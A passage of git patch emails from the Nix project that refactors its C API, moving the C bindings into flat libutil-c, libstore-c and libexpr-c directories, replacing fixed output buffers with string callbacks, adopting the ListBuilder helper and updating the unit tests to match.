ASSERT_STREQ("local", value); + ASSERT_STREQ("local", str.c_str()); } TEST_F(nix_api_store_test, InvalidPathFails) @@ -50,10 +55,10 @@ TEST_F(nix_api_store_test, DoesNotCrashWhenContextIsNull) TEST_F(nix_api_store_test, get_version) { - char value[256]; - auto ret = nix_store_get_version(ctx, store, value, 256); + std::string str; + auto ret = nix_store_get_version(ctx, store, (void *) observe_string_cb, &str); ASSERT_EQ(NIX_OK, ret); - ASSERT_STREQ(PACKAGE_VERSION, value); + ASSERT_STREQ(PACKAGE_VERSION, str.c_str()); } TEST_F(nix_api_util_context, nix_store_open_dummy) @@ -63,9 +68,9 @@ TEST_F(nix_api_util_context, nix_store_open_dummy) ASSERT_EQ(NIX_OK, ctx->last_err_code); ASSERT_STREQ("dummy", store->ptr->getUri().c_str()); - char value[256]; - nix_store_get_version(ctx, store, value, 256); - ASSERT_STREQ("", value); + std::string str; + nix_store_get_version(ctx, store, (void *) observe_string_cb, &str); + ASSERT_STREQ("", str.c_str()); nix_store_free(store); } diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh index 314ec70de..0dfb38f7b 100644 --- a/tests/unit/libutil-support/tests/nix_api_util.hh +++ b/tests/unit/libutil-support/tests/nix_api_util.hh @@ -5,6 +5,7 @@ #include namespace nixC { + class nix_api_util_context : public ::testing::Test { protected: diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc index a3ec5e0a1..20e46637c 100644 --- a/tests/unit/libutil/nix_api_util.cc +++ b/tests/unit/libutil/nix_api_util.cc @@ -9,6 +9,11 @@ namespace nixC { +void observe_string_cb(const char * start, unsigned int n, std::string * user_data) +{ + *user_data = std::string(start); +} + TEST_F(nix_api_util_context, nix_context_error) { std::string err_msg_ref; @@ -57,13 +62,13 @@ static nix::GlobalConfig::Register rs(&mySettings); TEST_F(nix_api_util_context, nix_setting_get) { ASSERT_EQ(ctx->last_err_code, NIX_OK); - char value[256]; - nix_err result = nix_setting_get(ctx, "invalid-key", value, 256); + std::string setting_value; + nix_err result = nix_setting_get(ctx, "invalid-key", (void *) observe_string_cb, &setting_value); ASSERT_EQ(result, NIX_ERR_KEY); - result = nix_setting_get(ctx, "setting-name", value, 256); + result = nix_setting_get(ctx, "setting-name", (void *) observe_string_cb, &setting_value); ASSERT_EQ(result, NIX_OK); - ASSERT_STREQ("empty", value); + ASSERT_STREQ("empty", setting_value.c_str()); } TEST_F(nix_api_util_context, nix_setting_set) @@ -74,10 +79,10 @@ TEST_F(nix_api_util_context, nix_setting_set) result = nix_setting_set(ctx, "setting-name", "new-value"); ASSERT_EQ(result, NIX_OK); - char value[256]; - result = nix_setting_get(ctx, "setting-name", value, 256); + std::string setting_value; + result = nix_setting_get(ctx, "setting-name", (void *) observe_string_cb, &setting_value); ASSERT_EQ(result, NIX_OK); - ASSERT_STREQ("new-value", value); + ASSERT_STREQ("new-value", setting_value.c_str()); } TEST_F(nix_api_util_context, nix_err_msg) @@ -100,26 +105,26 @@ TEST_F(nix_api_util_context, nix_err_msg) TEST_F(nix_api_util_context, nix_err_info_msg) { + std::string err_info; + // no error - EXPECT_THROW(nix_err_info_msg(NULL, ctx, NULL, 256), nix::Error); + EXPECT_THROW(nix_err_info_msg(NULL, ctx, (void *) observe_string_cb, &err_info), nix::Error); try { throw nix::Error("testing error"); } catch (...) { nix_context_error(ctx); } - char buf[256]; - nix_err_info_msg(nix_c_context_create(), ctx, buf, 256); - ASSERT_EQ(std::string(buf), "testing error"); - - // should overflow - EXPECT_THROW(nix_err_info_msg(NULL, ctx, buf, 1), nix::Error); + nix_err_info_msg(nix_c_context_create(), ctx, (void *) observe_string_cb, &err_info); + ASSERT_STREQ("testing error", err_info.c_str()); } TEST_F(nix_api_util_context, nix_err_name) { + std::string err_name; + // no error - EXPECT_THROW(nix_err_name(NULL, ctx, NULL, 256), nix::Error); + EXPECT_THROW(nix_err_name(NULL, ctx, (void *) observe_string_cb, &err_name), nix::Error); std::string err_msg_ref; try { @@ -127,12 +132,8 @@ TEST_F(nix_api_util_context, nix_err_name) } catch (...) { nix_context_error(ctx); } - char err_name[32]; - nix_err_name(nix_c_context_create(), ctx, err_name, 32); + nix_err_name(nix_c_context_create(), ctx, (void *) observe_string_cb, &err_name); ASSERT_EQ(std::string(err_name), "nix::Error"); - - // overflow - EXPECT_THROW(nix_err_name(NULL, ctx, err_name, 1), nix::Error); } TEST_F(nix_api_util_context, nix_err_code) @@ -141,4 +142,5 @@ TEST_F(nix_api_util_context, nix_err_code) nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); ASSERT_EQ(nix_err_code(ctx), NIX_ERR_UNKNOWN); } + } From c57de60522c3f2d493b6c013072b5c2b0dea3f0d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 28 Mar 2024 19:00:04 +0100 Subject: [PATCH 0370/1251] C API: Keep the structure flat See https://github.com/NixOS/nix/pull/10329 --- Makefile | 6 ++--- doc/external-api/doxygen.cfg.in | 6 ++--- local.mk | 2 +- src/libexpr-c/local.mk | 25 +++++++++++++++++++ src/{libexpr/c => libexpr-c}/nix-expr-c.pc.in | 0 src/{libexpr/c => libexpr-c}/nix_api_expr.cc | 0 src/{libexpr/c => libexpr-c}/nix_api_expr.h | 0 .../c => libexpr-c}/nix_api_expr_internal.h | 0 .../c => libexpr-c}/nix_api_external.cc | 0 .../c => libexpr-c}/nix_api_external.h | 0 src/{libexpr/c => libexpr-c}/nix_api_value.cc | 0 src/{libexpr/c => libexpr-c}/nix_api_value.h | 0 src/libexpr/c/local.mk | 19 -------------- src/{libstore/c => libstore-c}/local.mk | 6 ++++- .../c => libstore-c}/nix-store-c.pc.in | 0 .../c => libstore-c}/nix_api_store.cc | 0 .../c => libstore-c}/nix_api_store.h | 0 .../c => libstore-c}/nix_api_store_internal.h | 0 src/{libutil/c => libutil-c}/local.mk | 5 +++- src/{libutil/c => libutil-c}/nix_api_util.cc | 0 src/{libutil/c => libutil-c}/nix_api_util.h | 0 .../c => libutil-c}/nix_api_util_internal.h | 0 tests/unit/libexpr/local.mk | 5 +++- tests/unit/libstore/local.mk | 4 ++- tests/unit/libutil/local.mk | 3 ++- tests/unit/libutil/nix_api_util.cc | 1 - 26 files changed, 50 insertions(+), 32 deletions(-) create mode 100644 src/libexpr-c/local.mk rename src/{libexpr/c => libexpr-c}/nix-expr-c.pc.in (100%) rename src/{libexpr/c => libexpr-c}/nix_api_expr.cc (100%) rename src/{libexpr/c => libexpr-c}/nix_api_expr.h (100%) rename src/{libexpr/c => libexpr-c}/nix_api_expr_internal.h (100%) rename src/{libexpr/c => libexpr-c}/nix_api_external.cc (100%) rename src/{libexpr/c => libexpr-c}/nix_api_external.h (100%) rename src/{libexpr/c => libexpr-c}/nix_api_value.cc (100%) rename src/{libexpr/c => libexpr-c}/nix_api_value.h (100%) delete mode 100644 src/libexpr/c/local.mk rename src/{libstore/c => libstore-c}/local.mk (57%) rename src/{libstore/c => libstore-c}/nix-store-c.pc.in (100%) rename src/{libstore/c => libstore-c}/nix_api_store.cc (100%) rename src/{libstore/c => libstore-c}/nix_api_store.h (100%) rename src/{libstore/c => libstore-c}/nix_api_store_internal.h (100%) rename src/{libutil/c => libutil-c}/local.mk (53%) rename src/{libutil/c => libutil-c}/nix_api_util.cc (100%) rename src/{libutil/c => libutil-c}/nix_api_util.h (100%) rename src/{libutil/c => libutil-c}/nix_api_util_internal.h (100%) diff --git a/Makefile b/Makefile index 306f9ed19..788ed3571 100644 --- a/Makefile +++ b/Makefile @@ -18,9 +18,9 @@ makefiles = \ src/libexpr/local.mk \ src/libcmd/local.mk \ src/nix/local.mk \ - src/libutil/c/local.mk \ - src/libstore/c/local.mk \ - src/libexpr/c/local.mk \ + src/libutil-c/local.mk \ + src/libstore-c/local.mk \ + src/libexpr-c/local.mk \ src/resolve-system-dependencies/local.mk \ scripts/local.mk \ misc/bash/local.mk \ diff --git a/doc/external-api/doxygen.cfg.in b/doc/external-api/doxygen.cfg.in index 454514935..cd8b4989b 100644 --- a/doc/external-api/doxygen.cfg.in +++ b/doc/external-api/doxygen.cfg.in @@ -36,9 +36,9 @@ GENERATE_LATEX = NO # so they can expand variables despite configure variables. INPUT = \ - src/libutil/c \ - src/libexpr/c \ - src/libstore/c \ + src/libutil-c \ + src/libexpr-c \ + src/libstore-c \ doc/external-api/README.md FILE_PATTERNS = nix_api_*.h *.md diff --git a/local.mk b/local.mk index 9a1ed50df..69ef02f08 100644 --- a/local.mk +++ b/local.mk @@ -2,7 +2,7 @@ GLOBAL_CXXFLAGS += -Wno-deprecated-declarations -Werror=switch # Allow switch-enum to be overridden for files that do not support it, usually because of dependency headers. ERROR_SWITCH_ENUM = -Werror=switch-enum -$(foreach i, config.h $(wildcard src/lib*/*.hh) $(wildcard src/lib*/*.h $(filter-out %_internal.h, $(wildcard src/lib*/c/*.h))), \ +$(foreach i, config.h $(wildcard src/lib*/*.hh) $(wildcard src/lib*/*.h $(filter-out %_internal.h, $(wildcard src/lib*c/*.h))), \ $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) $(GCH): src/libutil/util.hh config.h diff --git a/src/libexpr-c/local.mk b/src/libexpr-c/local.mk new file mode 100644 index 000000000..ce5d321d6 --- /dev/null +++ b/src/libexpr-c/local.mk @@ -0,0 +1,25 @@ +libraries += libexprc + +libexprc_NAME = libnixexprc + +libexprc_DIR := $(d) + +libexprc_SOURCES := \ + $(wildcard $(d)/*.cc) \ + +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libexprc := -I $(d) +libexprc_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) $(INCLUDE_libstorec) \ + $(INCLUDE_libexpr) $(INCLUDE_libexprc) + +libexprc_LIBS = libutil libutilc libstore libstorec libexpr + +libexprc_LDFLAGS += -pthread + +$(eval $(call install-file-in, $(d)/nix-expr-c.pc, $(libdir)/pkgconfig, 0644)) + +libexprc_FORCE_INSTALL := 1 + diff --git a/src/libexpr/c/nix-expr-c.pc.in b/src/libexpr-c/nix-expr-c.pc.in similarity index 100% rename from src/libexpr/c/nix-expr-c.pc.in rename to src/libexpr-c/nix-expr-c.pc.in diff --git a/src/libexpr/c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc similarity index 100% rename from src/libexpr/c/nix_api_expr.cc rename to src/libexpr-c/nix_api_expr.cc diff --git a/src/libexpr/c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h similarity index 100% rename from src/libexpr/c/nix_api_expr.h rename to src/libexpr-c/nix_api_expr.h diff --git a/src/libexpr/c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h similarity index 100% rename from src/libexpr/c/nix_api_expr_internal.h rename to src/libexpr-c/nix_api_expr_internal.h diff --git a/src/libexpr/c/nix_api_external.cc b/src/libexpr-c/nix_api_external.cc similarity index 100% rename from src/libexpr/c/nix_api_external.cc rename to src/libexpr-c/nix_api_external.cc diff --git a/src/libexpr/c/nix_api_external.h b/src/libexpr-c/nix_api_external.h similarity index 100% rename from src/libexpr/c/nix_api_external.h rename to src/libexpr-c/nix_api_external.h diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc similarity index 100% rename from src/libexpr/c/nix_api_value.cc rename to src/libexpr-c/nix_api_value.cc diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr-c/nix_api_value.h similarity index 100% rename from src/libexpr/c/nix_api_value.h rename to src/libexpr-c/nix_api_value.h diff --git a/src/libexpr/c/local.mk b/src/libexpr/c/local.mk deleted file mode 100644 index 01b03f4d2..000000000 --- a/src/libexpr/c/local.mk +++ /dev/null @@ -1,19 +0,0 @@ -libraries += libexprc - -libexprc_NAME = libnixexprc - -libexprc_DIR := $(d) - -libexprc_SOURCES := \ - $(wildcard $(d)/*.cc) \ - -libexprc_CXXFLAGS += -I src/libutil -Isrc/libfetchers -I src/libstore -I src/libstorec -I src/libexpr -I src/libutil/c -I src/libstore/c - -libexprc_LIBS = libutil libutilc libstore libstorec libexpr - -libexprc_LDFLAGS += -pthread - -$(eval $(call install-file-in, $(d)/nix-expr-c.pc, $(libdir)/pkgconfig, 0644)) - -libexprc_FORCE_INSTALL := 1 - diff --git a/src/libstore/c/local.mk b/src/libstore-c/local.mk similarity index 57% rename from src/libstore/c/local.mk rename to src/libstore-c/local.mk index 35e2bd63d..36a8e77a4 100644 --- a/src/libstore/c/local.mk +++ b/src/libstore-c/local.mk @@ -10,7 +10,11 @@ libstorec_LIBS = libutil libstore libutilc libstorec_LDFLAGS += -pthread -libstorec_CXXFLAGS += -I src/libutil -I src/libstore -I src/libutil/c +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libstorec := -I $(d) +libstorec_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) \ + $(INCLUDE_libstore) $(INCLUDE_libstorec) $(eval $(call install-file-in, $(d)/nix-store-c.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libstore/c/nix-store-c.pc.in b/src/libstore-c/nix-store-c.pc.in similarity index 100% rename from src/libstore/c/nix-store-c.pc.in rename to src/libstore-c/nix-store-c.pc.in diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc similarity index 100% rename from src/libstore/c/nix_api_store.cc rename to src/libstore-c/nix_api_store.cc diff --git a/src/libstore/c/nix_api_store.h b/src/libstore-c/nix_api_store.h similarity index 100% rename from src/libstore/c/nix_api_store.h rename to src/libstore-c/nix_api_store.h diff --git a/src/libstore/c/nix_api_store_internal.h b/src/libstore-c/nix_api_store_internal.h similarity index 100% rename from src/libstore/c/nix_api_store_internal.h rename to src/libstore-c/nix_api_store_internal.h diff --git a/src/libutil/c/local.mk b/src/libutil-c/local.mk similarity index 53% rename from src/libutil/c/local.mk rename to src/libutil-c/local.mk index fe156e7f3..342dc2d8b 100644 --- a/src/libutil/c/local.mk +++ b/src/libutil-c/local.mk @@ -6,7 +6,10 @@ libutilc_DIR := $(d) libutilc_SOURCES := $(wildcard $(d)/*.cc) -libutilc_CXXFLAGS += -I src/libutil +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libutilc := -I $(d) +libutilc_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) libutilc_LIBS = libutil diff --git a/src/libutil/c/nix_api_util.cc b/src/libutil-c/nix_api_util.cc similarity index 100% rename from src/libutil/c/nix_api_util.cc rename to src/libutil-c/nix_api_util.cc diff --git a/src/libutil/c/nix_api_util.h b/src/libutil-c/nix_api_util.h similarity index 100% rename from src/libutil/c/nix_api_util.h rename to src/libutil-c/nix_api_util.h diff --git a/src/libutil/c/nix_api_util_internal.h b/src/libutil-c/nix_api_util_internal.h similarity index 100% rename from src/libutil/c/nix_api_util_internal.h rename to src/libutil-c/nix_api_util_internal.h diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk index 0a7b28436..8df1a5207 100644 --- a/tests/unit/libexpr/local.mk +++ b/tests/unit/libexpr/local.mk @@ -24,9 +24,12 @@ libexpr-tests_EXTRA_INCLUDES = \ -I tests/unit/libstore-support \ -I tests/unit/libutil-support \ $(INCLUDE_libexpr) \ + $(INCLUDE_libexprc) \ $(INCLUDE_libfetchers) \ $(INCLUDE_libstore) \ - $(INCLUDE_libutil) + $(INCLUDE_libstorec) \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk index fe1254487..b8f895fad 100644 --- a/tests/unit/libstore/local.mk +++ b/tests/unit/libstore/local.mk @@ -20,7 +20,9 @@ libstore-tests_EXTRA_INCLUDES = \ -I tests/unit/libstore-support \ -I tests/unit/libutil-support \ $(INCLUDE_libstore) \ - $(INCLUDE_libutil) + $(INCLUDE_libstorec) \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk index 0d0acd4c0..39b4c0782 100644 --- a/tests/unit/libutil/local.mk +++ b/tests/unit/libutil/local.mk @@ -18,7 +18,8 @@ libutil-tests_SOURCES := $(wildcard $(d)/*.cc) libutil-tests_EXTRA_INCLUDES = \ -I tests/unit/libutil-support \ - $(INCLUDE_libutil) + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc index 20e46637c..09f3f3e05 100644 --- a/tests/unit/libutil/nix_api_util.cc +++ b/tests/unit/libutil/nix_api_util.cc @@ -1,4 +1,3 @@ - #include "config.hh" #include "args.hh" #include "nix_api_util.h" From 925a8fda6e2709a1cae2f5684bd7f5e91d9375d7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 28 Mar 2024 19:02:01 +0100 Subject: [PATCH 0371/1251] C API: Use new ListBuilder helper See https://github.com/NixOS/nix/pull/10251 --- src/libexpr-c/nix_api_expr_internal.h | 28 +-------------------------- src/libexpr-c/nix_api_value.cc | 16 ++++++++------- src/libexpr-c/nix_api_value.h | 5 +++-- tests/unit/libexpr/nix_api_value.cc | 5 +++-- 4 files changed, 16 insertions(+), 38 deletions(-) diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h index 2b066ecff..b50a51347 100644 --- a/src/libexpr-c/nix_api_expr_internal.h +++ b/src/libexpr-c/nix_api_expr_internal.h @@ -5,32 +5,6 @@ #include "attr-set.hh" #include "nix_api_value.h" -class CListBuilder -{ -private: - std::vector values; - -public: - CListBuilder(size_t capacity) - { - values.reserve(capacity); - } - - void push_back(nix::Value * value) - { - values.push_back(value); - } - - Value * finish(nix::EvalState * state, nix::Value * list) - { - state->mkList(*list, values.size()); - for (size_t n = 0; n < list->listSize(); ++n) { - list->listElems()[n] = values[n]; - } - return list; - } -}; - struct EvalState { nix::EvalState state; @@ -43,7 +17,7 @@ struct BindingsBuilder struct ListBuilder { - CListBuilder builder; + nix::ListBuilder builder; }; struct nix_string_return diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 1faf05611..26ae194d9 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -263,7 +263,8 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta assert(v.type() == nix::nList); auto * p = v.listElems()[ix]; nix_gc_incref(nullptr, p); - state->state.forceValue(*p, nix::noPos); + if (p != nullptr) + state->state.forceValue(*p, nix::noPos); return (Value *) p; } NIXC_CATCH_ERRS_NULL @@ -417,7 +418,7 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, if (context) context->last_err_code = NIX_OK; try { - auto builder = CListBuilder(capacity); + auto builder = state->state.buildList(capacity); return new #if HAVE_BOEHMGC (NoGC) @@ -427,20 +428,21 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, NIXC_CATCH_ERRS_NULL } -nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, Value * value) +nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, Value * value) { if (context) context->last_err_code = NIX_OK; try { - list_builder->builder.push_back((nix::Value *) value); + auto & e = check_value_not_null(value); + list_builder->builder[index] = &e; } NIXC_CATCH_ERRS } -void nix_list_builder_free(ListBuilder * bb) +void nix_list_builder_free(ListBuilder * list_builder) { #if HAVE_BOEHMGC - GC_FREE(bb); + GC_FREE(list_builder); #else delete bb; #endif @@ -452,7 +454,7 @@ nix_err nix_make_list(nix_c_context * context, EvalState * s, ListBuilder * list context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); - list_builder->builder.finish(&(s->state), &v); + v.mkList(list_builder->builder); } NIXC_CATCH_ERRS } diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index b7115c27d..d80414fe8 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -360,17 +360,18 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, /** @brief Insert bindings into a builder * @param[out] context Optional, stores error information * @param[in] list_builder ListBuilder to insert into + * @param[in] index index to manipulate * @param[in] value value to insert * @return error code, NIX_OK on success. */ -nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, Value * value); +nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, Value * value); /** @brief Free a list builder * * Does not fail. * @param[in] builder the builder to free */ -void nix_list_builder_free(ListBuilder * builder); +void nix_list_builder_free(ListBuilder * list_builder); /** @brief Create an attribute set from a bindings builder * @param[out] context Optional, stores error information diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index ac28526c8..fd7c91a7d 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -77,12 +77,13 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list) Value * intValue = nix_alloc_value(nullptr, state); nix_init_int(nullptr, intValue, 42); - nix_list_builder_insert(nullptr, builder, intValue); + nix_list_builder_insert(nullptr, builder, 0, intValue); nix_make_list(nullptr, state, builder, value); nix_list_builder_free(builder); ASSERT_EQ(42, nix_get_int(nullptr, nix_get_list_byidx(nullptr, value, state, 0))); - ASSERT_EQ(1, nix_get_list_size(nullptr, value)); + ASSERT_EQ(nullptr, nix_get_list_byidx(nullptr, value, state, 1)); + ASSERT_EQ(10, nix_get_list_size(nullptr, value)); ASSERT_STREQ("a list", nix_get_typename(nullptr, value)); ASSERT_EQ(NIX_TYPE_LIST, nix_get_type(nullptr, value)); From 061140fc8fbf6f9dd8e89c8843a8879e0d88b95e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 28 Mar 2024 19:38:12 +0100 Subject: [PATCH 0372/1251] C API: remove unused argument --- src/libexpr-c/nix_api_value.cc | 2 +- src/libexpr-c/nix_api_value.h | 2 +- tests/unit/libexpr/nix_api_value.cc | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 26ae194d9..93e7db5c0 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -448,7 +448,7 @@ void nix_list_builder_free(ListBuilder * list_builder) #endif } -nix_err nix_make_list(nix_c_context * context, EvalState * s, ListBuilder * list_builder, Value * value) +nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value * value) { if (context) context->last_err_code = NIX_OK; diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index d80414fe8..c42581278 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -347,7 +347,7 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * @param[out] value Nix value to modify * @return error code, NIX_OK on success. */ -nix_err nix_make_list(nix_c_context * context, EvalState * s, ListBuilder * list_builder, Value * value); +nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value * value); /** @brief Create a list builder * @param[out] context Optional, stores error information diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index fd7c91a7d..20c874f22 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -78,7 +78,7 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list) Value * intValue = nix_alloc_value(nullptr, state); nix_init_int(nullptr, intValue, 42); nix_list_builder_insert(nullptr, builder, 0, intValue); - nix_make_list(nullptr, state, builder, value); + nix_make_list(nullptr, builder, value); nix_list_builder_free(builder); ASSERT_EQ(42, nix_get_int(nullptr, nix_get_list_byidx(nullptr, value, state, 0))); From 2bb609bce278fc817608dfb68516b5296a24d2b9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Fri, 29 Mar 2024 10:01:16 +0100 Subject: [PATCH 0373/1251] C API: rename nix_observe_string -> nix_get_string_callback --- src/libstore-c/nix_api_store.cc | 4 ++-- src/libstore-c/nix_api_store.h | 4 ++-- src/libutil-c/nix_api_util.cc | 10 +++++----- src/libutil-c/nix_api_util.h | 10 +++++----- src/libutil-c/nix_api_util_internal.h | 6 +++--- 5 files changed, 17 insertions(+), 17 deletions(-) diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc index 93e1626a1..d80ba332e 100644 --- a/src/libstore-c/nix_api_store.cc +++ b/src/libstore-c/nix_api_store.cc @@ -62,7 +62,7 @@ nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callbac context->last_err_code = NIX_OK; try { auto res = store->ptr->getUri(); - return call_nix_observe_string(res, callback, user_data); + return call_nix_get_string_callback(res, callback, user_data); } NIXC_CATCH_ERRS } @@ -73,7 +73,7 @@ nix_err nix_store_get_version(nix_c_context * context, Store * store, void * cal context->last_err_code = NIX_OK; try { auto res = store->ptr->getVersion(); - return call_nix_observe_string(res.value_or(""), callback, user_data); + return call_nix_get_string_callback(res.value_or(""), callback, user_data); } NIXC_CATCH_ERRS } diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index 25175de44..1309f99b7 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -73,7 +73,7 @@ void nix_store_free(Store * store); * @param[in] store nix store reference * @param[in] callback Called with the URI. * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. - * @see nix_observe_string + * @see nix_get_string_callback * @return error code, NIX_OK on success. */ nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callback, void * user_data); @@ -133,7 +133,7 @@ nix_err nix_store_realise( * @param[in] store nix store reference * @param[in] callback Called with the version. * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. - * @see nix_observe_string + * @see nix_get_string_callback * @return error code, NIX_OK on success. */ nix_err nix_store_get_version(nix_c_context * context, Store * store, void * callback, void * user_data); diff --git a/src/libutil-c/nix_api_util.cc b/src/libutil-c/nix_api_util.cc index ed542059d..8d0f7ac38 100644 --- a/src/libutil-c/nix_api_util.cc +++ b/src/libutil-c/nix_api_util.cc @@ -72,7 +72,7 @@ nix_err nix_setting_get(nix_c_context * context, const char * key, void * callba std::map settings; nix::globalConfig.getSettings(settings); if (settings.contains(key)) { - return call_nix_observe_string(settings[key].value, callback, user_data); + return call_nix_get_string_callback(settings[key].value, callback, user_data); } else { return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); } @@ -122,7 +122,7 @@ nix_err nix_err_name(nix_c_context * context, const nix_c_context * read_context if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); } - return call_nix_observe_string(read_context->name, callback, user_data); + return call_nix_get_string_callback(read_context->name, callback, user_data); } nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, void * callback, void * user_data) @@ -132,7 +132,7 @@ nix_err nix_err_info_msg(nix_c_context * context, const nix_c_context * read_con if (read_context->last_err_code != NIX_ERR_NIX_ERROR) { return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "Last error was not a nix error"); } - return call_nix_observe_string(read_context->info->msg.str(), callback, user_data); + return call_nix_get_string_callback(read_context->info->msg.str(), callback, user_data); } nix_err nix_err_code(const nix_c_context * read_context) @@ -141,8 +141,8 @@ nix_err nix_err_code(const nix_c_context * read_context) } // internal -nix_err call_nix_observe_string(const std::string str, void * callback, void * user_data) +nix_err call_nix_get_string_callback(const std::string str, void * callback, void * user_data) { - ((nix_observe_string) callback)(str.c_str(), str.size(), user_data); + ((nix_get_string_callback) callback)(str.c_str(), str.size(), user_data); return NIX_OK; } diff --git a/src/libutil-c/nix_api_util.h b/src/libutil-c/nix_api_util.h index fc6dc8655..cb506ca90 100644 --- a/src/libutil-c/nix_api_util.h +++ b/src/libutil-c/nix_api_util.h @@ -124,9 +124,9 @@ typedef struct nix_c_context nix_c_context; * * @param[in] start the string to copy. * @param[in] n the string length. - * @param[in] user_data optional, arbitrary data, passed to the nix_observe_string when it's called. + * @param[in] user_data optional, arbitrary data, passed to the nix_get_string_callback when it's called. */ -typedef void (*nix_observe_string)(const char * start, unsigned int n, void * user_data); +typedef void (*nix_get_string_callback)(const char * start, unsigned int n, void * user_data); // Function prototypes @@ -171,7 +171,7 @@ nix_err nix_libutil_init(nix_c_context * context); * @param[in] key The key of the setting to retrieve. * @param[in] callback Called with the setting value. * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. - * @see nix_observe_string + * @see nix_get_string_callback * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was retrieved * successfully. */ @@ -238,7 +238,7 @@ const char * nix_err_msg(nix_c_context * context, const nix_c_context * ctx, uns * @param[in] read_context the context to retrieve the error message from. * @param[in] callback Called with the error message. * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. - * @see nix_observe_string + * @see nix_get_string_callback * @return NIX_OK if there were no errors, an error code otherwise. */ nix_err @@ -257,7 +257,7 @@ nix_err_info_msg(nix_c_context * context, const nix_c_context * read_context, vo * @param[in] read_context the context to retrieve the error message from * 